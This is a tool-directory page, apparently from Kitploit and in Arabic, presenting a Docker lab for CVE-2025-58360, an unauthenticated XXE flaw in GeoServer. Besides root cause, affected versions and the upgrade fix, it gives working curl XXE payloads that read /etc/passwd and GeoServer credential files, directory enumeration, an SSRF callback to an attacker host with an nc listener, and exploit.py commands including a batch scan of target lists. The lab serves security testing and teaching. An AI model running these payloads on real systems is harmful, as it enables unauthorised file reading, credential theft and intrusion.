Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-58360-GeoServer-XXE — مختبر قائم على Docker يوضح CVE-2025-58360، وهو حقن XXE غير مصرح به وخطير في خدمات GeoServer WMS/OWS. يشمل سكربت استغلال لقراءة الملفات، SSRF، وتعداد الدلائل. | Kitploit
أدوات/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

مختبر قائم على Docker يوضح CVE-2025-58360، وهو حقن XXE غير مصرح به وخطير في خدمات GeoServer WMS/OWS. يشمل سكربت استغلال لقراءة الملفات، SSRF، وتعداد الدلائل.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

CVE-2025-58360: مختبر XXE لـ GeoServer

حقن كيان خارجي XML (XXE) بدون مصادقة في خدمات GeoServer OWS/WMS

CVSS: 9.8 خطير
الإصدارات المتأثرة: <= 2.25.5, 2.26.0-2.26.1
الإصدارات المُصلَحة: 2.25.6+, 2.26.2+, 2.27.0+

نظرة عامة

يوضح هذا المختبر CVE-2025-58360، وهي ثغرة XXE حرجة في معالجة طلبات XML لـ WMS/OWS في GeoServer. تسمح الثغرة للمهاجمين غير المصادق عليهم بـ:

  • قراءة ملفات عشوائية من نظام ملفات الخادم
  • سرد محتويات الدليل عبر معالج file:// في Java
  • تنفيذ هجمات SSRF ضد الخدمات الداخلية
  • سرقة بيانات الاعتماد من ملفات تكوين GeoServer

السبب الجذري

طريقة SLDParser.parseSLD() في GeoServer تعالج مستندات تنسيق XML دون قيود مناسبة لحل الكيانات. بينما يستخدم موزع OWS AllowListEntityResolver لحظر XXE، فإن مسار كود تحليل SLD يتجاوز هذه الحماية:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

بدء سريع

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

بيانات الاعتماد الافتراضية: admin / geoserver


الاستغلال

قراءة ملف

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

الاستجابة الضعيفة:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

الاستجابة المُصلَحة:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

أهداف عالية القيمة

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

سرد الدليل

معالج file:// في Java يقرأ الدلائل كقوائم ملفات مفصولة بأسطر جديدة:

root@kitploit:~
# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

المخرجات:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

يسمح هذا بتعداد كامل لنظام الملفات قبل استهداف ملفات محددة.

SSRF

root@kitploit:~
# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

استخدام سكريبت الاستغلال

root@kitploit:~
# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

محتويات المختبر

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

المعالجة

قم بالترقية إلى GeoServer 2.25.6+ أو 2.26.2+ أو 2.27.0+


إخلاء مسؤولية

للاستخدام المصرح به في اختبار الأمان والأغراض التعليمية فقط.


El Perro Joke

تنزيل الأداة